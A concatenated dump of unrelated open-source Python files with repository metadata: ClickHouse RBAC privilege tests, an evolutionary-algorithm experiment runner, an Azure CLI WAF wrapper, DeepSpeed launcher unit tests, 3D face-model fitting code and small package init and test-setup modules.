unable to revoke a column they don't have access to from a user. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with user(node, "user0"), user(node, "user1"): with When("I grant privilege with grant option to user"): node.query("GRANT SELECT(d) ON merge_tree TO user0 WITH GRANT OPTION") with Then("I revoke privilege on a column the user with grant option does not have access to"): exitcode, message = errors.not_enough_privileges(name="user0") node.query("REVOKE SELECT(b) ON merge_tree FROM user1", settings=[("user","user0")], exitcode=exitcode, message=message) @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_GrantOption_Revoke("1.0"), ) def revoke_privilege_from_role_via_user_with_grant_option(self, table_type, node=None): """Check that user is unable to revoke a column they dont have acces to from a role. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with user(node, "user0"), role(node, "role0"): with When("I grant privilege with grant option to user"): node.query("GRANT SELECT(d) ON merge_tree TO user0 WITH GRANT OPTION") with Then("I revoke privilege on a column the user with grant option does not have access to"): exitcode, message = errors.not_enough_privileges(name="user0") node.query("REVOKE SELECT(b) ON merge_tree FROM role0", settings=[("user","user0")], exitcode=exitcode, message=message) @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_GrantOption_Revoke("1.0"), ) def revoke_privilege_from_user_via_role_with_grant_option(self, table_type, node=None): """Check that user with a role is unable to revoke a column they dont have acces to from a user. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with user(node, "user0"), user(node,"user1"), role(node, "role0"): with When("I grant privilege with grant option to a role"): node.query("GRANT SELECT(d) ON merge_tree TO role0 WITH GRANT OPTION") with And("I grant the role to a user"): node.query("GRANT role0 TO user0") with Then("I revoke privilege on a column the user with grant option does not have access to"): exitcode, message = errors.not_enough_privileges(name="user0") node.query("REVOKE SELECT(b) ON merge_tree FROM user1", settings=[("user","user0")], exitcode=exitcode, message=message) @TestScenario @Requirements( RQ_SRS_006_RBAC_Privileges_Select_GrantOption_Revoke("1.0"), ) def revoke_privilege_from_role_via_role_with_grant_option(self, table_type, node=None): """Check that user with a role is unable to revoke a column they dont have acces to from a role. """ if node is None: node = self.context.node with table(node, "merge_tree", table_type): with user(node, "user0"), role(node, "role0"), role(node, "role1"): with When("I grant privilege with grant option to a role"): node.query("GRANT SELECT(d) ON merge_tree TO user0 WITH GRANT OPTION") with And("I grant the role to a user"): node.query("GRANT role0 TO user0") with Then("I revoke privilege on a column the user with grant option does not have access to"): exitcode, message = errors.not_enough_privileges(name="user0") node.query("REVOKE SELECT(b) ON merge_tree FROM role1", settings=[("user","user0")], exitcode=exitcode, message=message) @TestOutline(Feature) @Requirements( RQ_SRS_006_RBAC_Privileges_Select("1.0"), ) @Examples("table_type", [ (table_type, Requirements(requirement)) for table_type, requirement in list(table_requirements.items()) ]) @Name("select") def feature(self, table_type, node="clickhouse1"): self.context.node = self.context.cluster.node(node) Scenario(test=without_privilege)(table_type=table_type) Scenario(test=user_with_privilege)(table_type=table_type) Scenario(test=user_with_revoked_privilege)(table_type=table_type) Scenario(test=user_with_privilege_on_columns)(table_type=table_type) Scenario(test=role_with_privilege)(table_type=table_type) Scenario(test=role_with_revoked_privilege)(table_type=table_type) Scenario(test=user_with_revoked_role)(table_type=table_type) Scenario(test=role_with_privilege_on_columns)(table_type=table_type) Scenario(test=user_with_privilege_on_cluster)(table_type=table_type) Scenario(test=user_with_privilege_from_user_with_grant_option)(table_type=table_type) Scenario(test=role_with_privilege_from_user_with_grant_option)(table_type=table_type) Scenario(test=user_with_privilege_from_role_with_grant_option)(table_type=table_type) Scenario(test=role_with_privilege_from_role_with_grant_option)(table_type=table_type) Scenario(test=revoke_privilege_from_user_via_user_with_grant_option)(table_type=table_type) Scenario(test=revoke_privilege_from_role_via_user_with_grant_option)(table_type=table_type) Scenario(test=revoke_privilege_from_user_via_role_with_grant_option)(table_type=table_type) Scenario(test=revoke_privilege_from_role_via_role_with_grant_option)(table_type=table_type)

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null

0

6

a2d9df25d6bf2f171f7fd2837fcce9cc2bb551e8

7,428

py

Python

tasks/task_handler.py

HaolingZHANG/ReverseEncodingTree

16558ae18d71e7b1f089bfc6f4d819ad017d0f25

[ "Apache-2.0" ]

14

2020-02-11T11:45:07.000Z

2022-03-10T23:47:45.000Z

tasks/task_handler.py

HaolingZHANG/ReverseEncodingTree

16558ae18d71e7b1f089bfc6f4d819ad017d0f25

[ "Apache-2.0" ]

2

2020-02-02T10:49:51.000Z

2020-07-19T10:37:32.000Z

tasks/task_handler.py

HaolingZHANG/ReverseEncodingTree

16558ae18d71e7b1f089bfc6f4d819ad017d0f25

[ "Apache-2.0" ]

null

from ReverseEncodingTree.evolution.bean.attacker import * from ReverseEncodingTree.tasks.task_inform import * def run_imply(): task = Logic(method_type=MethodType.N, logic_type=LogicType.IMPLY, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "IMPLY", MethodType.N) task = Logic(method_type=MethodType.FS, logic_type=LogicType.IMPLY, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "IMPLY", MethodType.FS) task = Logic(method_type=MethodType.BI, logic_type=LogicType.IMPLY, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "IMPLY", MethodType.BI) task = Logic(method_type=MethodType.GS, logic_type=LogicType.IMPLY, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "IMPLY", MethodType.GS) def run_nand(): task = Logic(method_type=MethodType.N, logic_type=LogicType.NAND, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "NAND", MethodType.N) task = Logic(method_type=MethodType.FS, logic_type=LogicType.NAND, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "NAND", MethodType.FS) task = Logic(method_type=MethodType.BI, logic_type=LogicType.NAND, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "NAND", MethodType.BI) task = Logic(method_type=MethodType.GS, logic_type=LogicType.NAND, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "NAND", MethodType.GS) def run_nor(): task = Logic(method_type=MethodType.N, logic_type=LogicType.NOR, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "NOR", MethodType.N) task = Logic(method_type=MethodType.FS, logic_type=LogicType.NOR, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "NOR", MethodType.FS) task = Logic(method_type=MethodType.BI, logic_type=LogicType.NOR, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "NOR", MethodType.BI) task = Logic(method_type=MethodType.GS, logic_type=LogicType.NOR, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "NOR", MethodType.GS) def run_xor(): task = Logic(method_type=MethodType.N, logic_type=LogicType.XOR, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "XOR", MethodType.N) task = Logic(method_type=MethodType.FS, logic_type=LogicType.XOR, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "XOR", MethodType.FS) task = Logic(method_type=MethodType.BI, logic_type=LogicType.XOR, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "XOR", MethodType.BI) task = Logic(method_type=MethodType.GS, logic_type=LogicType.XOR, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "XOR", MethodType.GS) def run_cart_pole_v0(): task = Game(method_type=MethodType.N, game_type=GameType.CartPole_v0, episode_steps=300, episode_generation=10, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "CartPole_v0", MethodType.N) task = Game(method_type=MethodType.FS, game_type=GameType.CartPole_v0, episode_steps=300, episode_generation=10, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "CartPole_v0", MethodType.FS) task = Game(method_type=MethodType.BI, game_type=GameType.CartPole_v0, episode_steps=300, episode_generation=10, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "CartPole_v0", MethodType.BI) task = Game(method_type=MethodType.GS, game_type=GameType.CartPole_v0, episode_steps=300, episode_generation=10, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "CartPole_v0", MethodType.GS) def run_cart_pole_v0_with_attack(): attacker = CartPole_v0_Attacker(attack_type=AttackType.Gaussian, gaussian_peak=1000) noise_level = 1 task = Game(method_type=MethodType.FS, game_type=GameType.CartPole_v0, episode_steps=500, episode_generation=20, attacker=attacker, noise_level=noise_level, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "CartPole_v0", MethodType.FS) task = Game(method_type=MethodType.BI, game_type=GameType.CartPole_v0, episode_steps=300, episode_generation=10, attacker=attacker, noise_level=noise_level, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "CartPole_v0", MethodType.BI) task = Game(method_type=MethodType.GS, game_type=GameType.CartPole_v0, episode_steps=300, episode_generation=10, attacker=attacker, noise_level=noise_level, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "CartPole_v0", MethodType.GSS) def run_lunar_lander_v0(): task = Game(method_type=MethodType.N, game_type=GameType.LunarLander_v2, episode_steps=100, episode_generation=2, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "LunarLander_v2", MethodType.N) task = Game(method_type=MethodType.FS, game_type=GameType.LunarLander_v2, episode_steps=100, episode_generation=2, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "LunarLander_v2", MethodType.FS) task = Game(method_type=MethodType.BI, game_type=GameType.LunarLander_v2, episode_steps=100, episode_generation=2, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "LunarLander_v2", MethodType.BI) task = Game(method_type=MethodType.GS, game_type=GameType.LunarLander_v2, episode_steps=100, episode_generation=2, max_generation=500, display_results=False) generations, counts = task.run(1000) save_distribution(counts, "../output/", "LunarLander_v2", MethodType.GS)

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null

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null

0

6

a2e4a9132af3a8097c0204f77859b0f5de9f38b2

1,803

py

Python

test/pyaz/network/application_gateway/waf_config/__init__.py

bigdatamoore/py-az-cli

54383a4ee7cc77556f6183e74e992eec95b28e01

[ "MIT" ]

null

test/pyaz/network/application_gateway/waf_config/__init__.py

bigdatamoore/py-az-cli

54383a4ee7cc77556f6183e74e992eec95b28e01

[ "MIT" ]

9

2021-09-24T16:37:24.000Z

2021-12-24T00:39:19.000Z

test/pyaz/network/application_gateway/waf_config/__init__.py

bigdatamoore/py-az-cli

54383a4ee7cc77556f6183e74e992eec95b28e01

[ "MIT" ]

null

import json, subprocess from .... pyaz_utils import get_cli_name, get_params def set(resource_group, gateway_name, enabled, firewall_mode=None, rule_set_type=None, rule_set_version=None, disabled_rule_groups=None, disabled_rules=None, request_body_check=None, max_request_body_size=None, file_upload_limit=None, exclusion=None, no_wait=None): params = get_params(locals()) command = "az network application-gateway waf-config set " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def show(resource_group, gateway_name): params = get_params(locals()) command = "az network application-gateway waf-config show " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def list_rule_sets(type=None, version=None, group=None): params = get_params(locals()) command = "az network application-gateway waf-config list-rule-sets " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr)

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265

0.694953

232

1,803

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0

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1,803

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0

1

0.073171

false

0

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0.219512

0

null

0

1

0

1

0

null

0

6

a7508d8d542ee7d8ebcacd1dd7261edfe36da576

9,803

py

Python

harness/tests/launch/test_autodeepspeed.py

prabhum456/determined

7e8017df0f62d80d21f5483578e2d5abd0e30935

[ "Apache-2.0" ]

null

harness/tests/launch/test_autodeepspeed.py

prabhum456/determined

7e8017df0f62d80d21f5483578e2d5abd0e30935

[ "Apache-2.0" ]

null

harness/tests/launch/test_autodeepspeed.py

prabhum456/determined

7e8017df0f62d80d21f5483578e2d5abd0e30935

[ "Apache-2.0" ]

null

import contextlib import os import time import unittest.mock as mock from typing import Any, Iterator, List import pytest from deepspeed.launcher.runner import DEEPSPEED_ENVIRONMENT_NAME import determined as det from determined import constants from determined.launch import autodeepspeed @mock.patch("subprocess.Popen") @mock.patch("determined.get_cluster_info") @mock.patch("determined.util.check_sshd") @mock.patch("time.time") def test_launch_multi_slot_chief( mock_time: mock.MagicMock, mock_check_sshd: mock.MagicMock, mock_cluster_info: mock.MagicMock, mock_subprocess: mock.MagicMock, ) -> None: cluster_info = make_mock_cluster_info(["0.0.0.0", "0.0.0.1"], 0) mock_cluster_info.return_value = cluster_info mock_start_time = time.time() mock_time.return_value = mock_start_time train_entrypoint = "model_def:TrialClass" sshd_cmd = autodeepspeed.create_sshd_cmd() pid_server_cmd = autodeepspeed.create_pid_server_cmd( cluster_info.allocation_id, len(cluster_info.slot_ids) ) deepspeed_cmd = autodeepspeed.create_run_command( cluster_info.container_addrs[0], autodeepspeed.hostfile_path ) pid_client_cmd = autodeepspeed.create_pid_client_cmd(cluster_info.allocation_id) log_redirect_cmd = autodeepspeed.create_log_redirect_cmd() harness_cmd = autodeepspeed.create_harness_cmd(train_entrypoint) launch_cmd = pid_server_cmd + deepspeed_cmd + pid_client_cmd + log_redirect_cmd + harness_cmd sshd_proc_mock = mock.MagicMock() launch_proc_mock = mock.MagicMock() def mock_process(cmd: List[str], *args: Any, **kwargs: Any) -> Any: if cmd == sshd_cmd: return sshd_proc_mock(*args, **kwargs) if cmd == launch_cmd: return launch_proc_mock(*args, **kwargs) return None mock_subprocess.side_effect = mock_process with set_container_id_env_var(): autodeepspeed.main(train_entrypoint) mock_cluster_info.assert_called_once() assert os.environ["DET_CHIEF_IP"] == cluster_info.container_addrs[0] assert os.environ["USE_DEEPSPEED"] == "1" assert os.environ["PDSH_SSH_ARGS"] == ( "-o PasswordAuthentication=no -o StrictHostKeyChecking=no " f"-p {constants.DTRAIN_SSH_PORT} -2 -a -x %h" ) mock_subprocess.assert_has_calls([mock.call(sshd_cmd), mock.call(launch_cmd)]) assert mock_check_sshd.call_count == len(cluster_info.container_addrs) mock_check_sshd.assert_has_calls( [ mock.call(addr, mock_start_time + 20, constants.DTRAIN_SSH_PORT) for addr in cluster_info.container_addrs ] ) launch_proc_mock().wait.assert_called_once() sshd_proc_mock().kill.assert_called_once() sshd_proc_mock().wait.assert_called_once() # Cleanup deepspeed environment file created in autodeepspeed.main deepspeed_env_path = os.path.join(os.getcwd(), DEEPSPEED_ENVIRONMENT_NAME) if os.path.isfile(deepspeed_env_path): os.remove(deepspeed_env_path) @mock.patch("subprocess.Popen") @mock.patch("determined.get_cluster_info") @mock.patch("determined.util.check_sshd") @mock.patch("time.time") def test_launch_multi_slot_fail( mock_time: mock.MagicMock, mock_check_sshd: mock.MagicMock, mock_cluster_info: mock.MagicMock, mock_subprocess: mock.MagicMock, ) -> None: cluster_info = make_mock_cluster_info(["0.0.0.0", "0.0.0.1"], 0) mock_cluster_info.return_value = cluster_info mock_start_time = time.time() mock_time.return_value = mock_start_time mock_check_sshd.side_effect = ValueError("no sshd greeting") train_entrypoint = "model_def:TrialClass" sshd_cmd = autodeepspeed.create_sshd_cmd() pid_server_cmd = autodeepspeed.create_pid_server_cmd( cluster_info.allocation_id, len(cluster_info.slot_ids) ) deepspeed_cmd = autodeepspeed.create_run_command( cluster_info.container_addrs[0], autodeepspeed.hostfile_path ) pid_client_cmd = autodeepspeed.create_pid_client_cmd(cluster_info.allocation_id) log_redirect_cmd = autodeepspeed.create_log_redirect_cmd() harness_cmd = autodeepspeed.create_harness_cmd(train_entrypoint) launch_cmd = pid_server_cmd + deepspeed_cmd + pid_client_cmd + log_redirect_cmd + harness_cmd sshd_proc_mock = mock.MagicMock() launch_proc_mock = mock.MagicMock() def mock_process(cmd: List[str], *args: Any, **kwargs: Any) -> Any: if cmd == sshd_cmd: return sshd_proc_mock(*args, **kwargs) if cmd == launch_cmd: return launch_proc_mock(*args, **kwargs) return None mock_subprocess.side_effect = mock_process with set_container_id_env_var(): with pytest.raises(ValueError, match="no sshd greeting"): autodeepspeed.main(train_entrypoint) mock_cluster_info.assert_called_once() assert os.environ["DET_CHIEF_IP"] == cluster_info.container_addrs[0] assert os.environ["USE_DEEPSPEED"] == "1" assert os.environ["PDSH_SSH_ARGS"] == ( "-o PasswordAuthentication=no -o StrictHostKeyChecking=no " f"-p {constants.DTRAIN_SSH_PORT} -2 -a -x %h" ) mock_subprocess.assert_called_once_with(sshd_cmd) mock_check_sshd.assert_called_once_with( cluster_info.container_addrs[0], mock_start_time + 20, constants.DTRAIN_SSH_PORT ) sshd_proc_mock().kill.assert_called_once() sshd_proc_mock().wait.assert_called_once() # Cleanup deepspeed environment file created in autodeepspeed.main deepspeed_env_path = os.path.join(os.getcwd(), DEEPSPEED_ENVIRONMENT_NAME) if os.path.isfile(deepspeed_env_path): os.remove(deepspeed_env_path) @mock.patch("subprocess.Popen") @mock.patch("determined.get_cluster_info") def test_launch_one_slot( mock_cluster_info: mock.MagicMock, mock_subprocess: mock.MagicMock ) -> None: cluster_info = make_mock_cluster_info(["0.0.0.0"], 0) mock_cluster_info.return_value = cluster_info train_entrypoint = "model_def:TrialClass" pid_server_cmd = autodeepspeed.create_pid_server_cmd( cluster_info.allocation_id, len(cluster_info.slot_ids) ) deepspeed_cmd = autodeepspeed.create_run_command("localhost", autodeepspeed.hostfile_path) pid_client_cmd = autodeepspeed.create_pid_client_cmd(cluster_info.allocation_id) log_redirect_cmd = autodeepspeed.create_log_redirect_cmd() harness_cmd = autodeepspeed.create_harness_cmd(train_entrypoint) launch_cmd = pid_server_cmd + deepspeed_cmd + pid_client_cmd + log_redirect_cmd + harness_cmd with set_container_id_env_var(): autodeepspeed.main(train_entrypoint) mock_cluster_info.assert_called_once() assert os.environ["DET_CHIEF_IP"] == cluster_info.container_addrs[0] assert os.environ["USE_DEEPSPEED"] == "1" mock_subprocess.assert_called_once_with(launch_cmd) @mock.patch("subprocess.Popen") @mock.patch("determined.get_cluster_info") def test_launch_fail(mock_cluster_info: mock.MagicMock, mock_subprocess: mock.MagicMock) -> None: cluster_info = make_mock_cluster_info(["0.0.0.0"], 0) mock_cluster_info.return_value = cluster_info mock_subprocess.return_value.wait.return_value = 1 train_entrypoint = "model_def:TrialClass" pid_server_cmd = autodeepspeed.create_pid_server_cmd( cluster_info.allocation_id, len(cluster_info.slot_ids) ) deepspeed_cmd = autodeepspeed.create_run_command("localhost", autodeepspeed.hostfile_path) pid_client_cmd = autodeepspeed.create_pid_client_cmd(cluster_info.allocation_id) log_redirect_cmd = autodeepspeed.create_log_redirect_cmd() harness_cmd = autodeepspeed.create_harness_cmd(train_entrypoint) launch_cmd = pid_server_cmd + deepspeed_cmd + pid_client_cmd + log_redirect_cmd + harness_cmd with set_container_id_env_var(): ret = autodeepspeed.main(train_entrypoint) assert ret == 1 mock_cluster_info.assert_called_once() assert os.environ["DET_CHIEF_IP"] == cluster_info.container_addrs[0] assert os.environ["USE_DEEPSPEED"] == "1" mock_subprocess.assert_called_once_with(launch_cmd) @mock.patch("subprocess.Popen") @mock.patch("determined.get_cluster_info") @mock.patch("determined.common.api.post") def test_launch_worker( mock_api: mock.MagicMock, mock_cluster_info: mock.MagicMock, mock_subprocess: mock.MagicMock ) -> None: cluster_info = make_mock_cluster_info(["0.0.0.0", "0.0.0.1"], 1) mock_cluster_info.return_value = cluster_info with set_container_id_env_var(): autodeepspeed.main("model_def:TrialClass") mock_cluster_info.assert_called_once() assert os.environ["DET_CHIEF_IP"] == cluster_info.container_addrs[0] mock_api.assert_called_once() pid_server_cmd = autodeepspeed.create_pid_server_cmd( cluster_info.allocation_id, len(cluster_info.slot_ids) ) sshd_cmd = autodeepspeed.create_sshd_cmd() expected_cmd = pid_server_cmd + sshd_cmd mock_subprocess.assert_called_once_with(expected_cmd) def make_mock_cluster_info(container_addrs: List[str], container_rank: int) -> det.ClusterInfo: rendezvous_info_mock = det.RendezvousInfo( container_addrs=container_addrs, container_rank=container_rank ) cluster_info_mock = det.ClusterInfo( master_url="localhost", cluster_id="clusterId", agent_id="agentId", slot_ids=[0, 1, 2, 3], task_id="taskId", allocation_id="allocationId", session_token="sessionToken", task_type="TRIAL", rendezvous_info=rendezvous_info_mock, ) return cluster_info_mock @contextlib.contextmanager def set_container_id_env_var() -> Iterator[None]: try: os.environ["DET_CONTAINER_ID"] = "containerId" yield finally: del os.environ["DET_CONTAINER_ID"]

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null

0

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null

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a794afc61ee22de0ab59c8150be151318fc4dc97

144

py

Python

hls4ml/__init__.py

ngpaladi/hls4ml

54861d0f611ee72f779a8f739b5fac571f3e79c2

[ "Apache-2.0" ]

1

2021-07-06T12:09:49.000Z

hls4ml/__init__.py

ngpaladi/hls4ml

54861d0f611ee72f779a8f739b5fac571f3e79c2

[ "Apache-2.0" ]

1

2020-11-26T09:45:05.000Z

hls4ml/__init__.py

ngpaladi/hls4ml

54861d0f611ee72f779a8f739b5fac571f3e79c2

[ "Apache-2.0" ]

null

from __future__ import absolute_import __version__ = '0.5.0' from hls4ml import converters from hls4ml import report from hls4ml import utils

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6

ac45453a19894882d58b1de661aabeddaf118808

40

py

Python

src/magicdb/Queries/__init__.py

CircleOnCircles/MagicDB

03fca4a2e4c75ad016a2338ac30f515393d20742

[ "MIT" ]

null

src/magicdb/Queries/__init__.py

CircleOnCircles/MagicDB

03fca4a2e4c75ad016a2338ac30f515393d20742

[ "MIT" ]

null

src/magicdb/Queries/__init__.py

CircleOnCircles/MagicDB

03fca4a2e4c75ad016a2338ac30f515393d20742

[ "MIT" ]

null

from magicdb.Queries.Query import Query

20

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1

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6

ac5232f986f8cddef39a53c01b7fafac3fd70f44

30

py

Python

cocob/__init__.py

mihahauke/scinol_icml2019

8f6bf250c9501a47d3c4b2323f830abcbf56cce3

[ "MIT" ]

3

2020-04-30T11:32:46.000Z

2021-04-23T01:16:54.000Z

cocob/__init__.py

mihahauke/scinol_icml2019

8f6bf250c9501a47d3c4b2323f830abcbf56cce3

[ "MIT" ]

6

2020-01-28T22:55:13.000Z

2022-02-10T00:20:24.000Z

cocob/__init__.py

mihahauke/scinol_icml2019

8f6bf250c9501a47d3c4b2323f830abcbf56cce3

[ "MIT" ]

1

2020-09-23T07:26:31.000Z

from .cocob_optimizer import *

30

0.833333

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true

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null

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1

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1

0

6

ac6f63d697191beec992c5613929c859def5c39d

4,206

py

Python

deep3dmap/core/renderer/renderer_demo/fitting.py

achao2013/DeepRecon

1c9b0480710212e1fe86ab75dcf0b30bd9f654e7

[ "Apache-2.0" ]

30

2022-02-05T18:35:27.000Z

2022-02-09T09:14:41.000Z

deep3dmap/core/renderer/renderer_demo/fitting.py

achao2013/DeepRecon

1c9b0480710212e1fe86ab75dcf0b30bd9f654e7

[ "Apache-2.0" ]

null

deep3dmap/core/renderer/renderer_demo/fitting.py

achao2013/DeepRecon

1c9b0480710212e1fe86ab75dcf0b30bd9f654e7

[ "Apache-2.0" ]

null

import numpy as np import matplotlib.pyplot as plt from mesh.vertices import * from geometry.camera import * from time import time def fit_points(x, X_ind, model, max_iter = 4): ''' Args: x: (2, n) image points X_ind: (n,) corresponding Model vertices index model: 3DMM max_iter: iteration Returns: pp: (6, 1). pose parameters sp: (199, 1). shape parameters ep: (29, 1). exp parameters ''' #-- init sp = np.zeros((199, 1), dtype = np.float32) ep = np.zeros((29, 1), dtype = np.float32) #-------------------- estimate X_ind_all = np.tile(X_ind[np.newaxis, :], [3, 1])*3 X_ind_all[1, :] += 1 X_ind_all[2, :] += 2 valid_ind = X_ind_all.flatten('F') shapeMU = model['shapeMU'][valid_ind, :] shapePC = model['shapePC'][valid_ind, :] expPC = model['expPC'][valid_ind, :] stf = time() for i in range(max_iter): X = shapeMU + shapePC.dot(sp) + expPC.dot(ep) X = np.reshape(X, [len(X)/3, 3]).T # if i>0: # x_hat = scaled_orthog_project(X, s, R, t2d) # plt.plot(x[0,:], 128-1-x[1,:], 'yx') # plt.plot(x_hat[0,:], 128-1-x_hat[1,:], 'b.') # plt.show() #----- estimate pose P = estimate_affine_matrix(x, X) s, R, t2d = P2sRt(P) #print 'Iter:{}; estimated pose: s {}, rx {}, ry {}, rz {}, t1 {}, t2 {}'.format(i, s, rx, ry, rz, t2d[0], t2d[1]) #----- estimate shape # expression shape = shapePC.dot(sp) shape = np.reshape(shape, [len(shape)/3, 3]).T ep = estimate_expression(x, shapeMU, expPC, model['expEV'], shape, s, R, t2d, lamb = 10) # shape expression = expPC.dot(ep) expression = np.reshape(expression, [len(expression)/3, 3]).T sp = estimate_shape(x, shapeMU, shapePC, model['shapeEV'], expression, s, R, t2d, lamb = 10) rx, ry, rz = matrix2angle(R) pose_para = np.array([s, rx, ry, rz, t2d[0], t2d[1]])[:, np.newaxis] return pose_para, sp, ep def fit_points_simple(x, X_ind, model, max_iter = 4): ''' Args: x: (2, n) image points X_ind: (n,) corresponding Model vertices index model: 3DMM max_iter: iteration Returns: pp: (6, 1). pose parameters sp: (199, 1). shape parameters ep: (29, 1). exp parameters ''' n_sp = 100 n_ep = 25 #-- init sp = np.zeros((n_sp, 1), dtype = np.float32) ep = np.zeros((n_ep, 1), dtype = np.float32) #-------------------- estimate X_ind_all = np.tile(X_ind[np.newaxis, :], [3, 1])*3 X_ind_all[1, :] += 1 X_ind_all[2, :] += 2 valid_ind = X_ind_all.flatten('F') shapeMU = model['shapeMU'][valid_ind, :] shapePC = model['shapePC'][valid_ind, :n_sp] expPC = model['expPC'][valid_ind, :n_ep] stf = time() for i in range(max_iter): X = shapeMU + shapePC.dot(sp) + expPC.dot(ep) X = np.reshape(X, [len(X)/3, 3]).T # if i>0: # x_hat = scaled_orthog_project(X, s, R, t2d) # plt.plot(x[0,:], 128-1-x[1,:], 'yx') # plt.plot(x_hat[0,:], 128-1-x_hat[1,:], 'b.') # plt.show() #----- estimate pose P = estimate_affine_matrix(x, X) s, R, t2d = P2sRt(P) #print 'Iter:{}; estimated pose: s {}, rx {}, ry {}, rz {}, t1 {}, t2 {}'.format(i, s, rx, ry, rz, t2d[0], t2d[1]) #----- estimate shape # expression shape = shapePC.dot(sp) shape = np.reshape(shape, [len(shape)/3, 3]).T ep = estimate_expression(x, shapeMU, expPC, model['expEV'][:n_ep,:], shape, s, R, t2d, lamb = 20) # shape expression = expPC.dot(ep) expression = np.reshape(expression, [len(expression)/3, 3]).T sp = estimate_shape(x, shapeMU, shapePC, model['shapeEV'][:n_sp,:], expression, s, R, t2d, lamb = 40) rx, ry, rz = matrix2angle(R) pose_para = np.array([s, rx, ry, rz, t2d[0], t2d[1]])[:, np.newaxis] sp_f = np.zeros((199, 1), dtype = np.float32); sp_f[:n_sp,:] = sp; ep_f = np.zeros((29, 1), dtype = np.float32);ep_f[:n_ep,:] = ep; return pose_para, sp_f, ep_f

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0

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null

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3be61a56bb8998d5cbef58672b419514146035c5

33

py

Python

labjack_u6/threading.py

LouGrossi/labjack_u6

36cb0be9a86e4f167ca58a5d30b59cfcfead00a6

[ "MIT" ]

null

labjack_u6/threading.py

LouGrossi/labjack_u6

36cb0be9a86e4f167ca58a5d30b59cfcfead00a6

[ "MIT" ]

null

labjack_u6/threading.py

LouGrossi/labjack_u6

36cb0be9a86e4f167ca58a5d30b59cfcfead00a6

[ "MIT" ]

null

import threading, signal, time

8.25

30

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null

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0

1

0

1

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6

3bea626f166d1bdebd5aad10c140520523e23500

2,594

py

Python

libensemble/tests/unit_tests/setup.py

Kardyne/libensemble

566c8f5daafe2ad4deebc13198a1e131e4ce6542

[ "BSD-2-Clause" ]

null

libensemble/tests/unit_tests/setup.py

Kardyne/libensemble

566c8f5daafe2ad4deebc13198a1e131e4ce6542

[ "BSD-2-Clause" ]

null

libensemble/tests/unit_tests/setup.py

Kardyne/libensemble

566c8f5daafe2ad4deebc13198a1e131e4ce6542

[ "BSD-2-Clause" ]

null

import numpy as np from libensemble.alloc_funcs.give_sim_work_first import give_sim_work_first from libensemble.history import History #------------------------------------------------------------------------------------------------- # Set up sim_specs, gen_specs, exit_criteria def make_criteria_and_specs_0(simx=10): sim_specs={'sim_f': np.linalg.norm, 'in':['x_on_cube'], 'out':[('f',float),('fvec',float,3)], } gen_specs={'gen_f': np.random.uniform, 'in':[], 'out':[('x_on_cube',float),('priority',float),('local_pt',bool)], 'ub':np.ones(1), 'nu':0} exit_criteria={'sim_max':simx} return sim_specs, gen_specs, exit_criteria def make_criteria_and_specs_1(simx=10): sim_specs={'sim_f': np.linalg.norm, 'in':['x'], 'out':[('g',float)], } gen_specs={'gen_f': np.random.uniform, 'in':[], 'out':[('x',float),('priority',float)], } exit_criteria={'sim_max':simx, 'stop_val':('g',-1), 'elapsed_wallclock_time':0.5} return sim_specs, gen_specs, exit_criteria def make_criteria_and_specs_1A(simx=10): sim_specs={'sim_f': np.linalg.norm, 'in':['x'], 'out':[('g',float)], } gen_specs={'gen_f': np.random.uniform, 'in':[], 'out':[('x',float),('priority',float),('sim_id',int)], } exit_criteria={'sim_max':simx, 'stop_val':('g',-1), 'elapsed_wallclock_time':0.5} return sim_specs, gen_specs, exit_criteria #------------------------------------------------------------------------------------------------- # Set up history array def hist_setup1(sim_max=10, 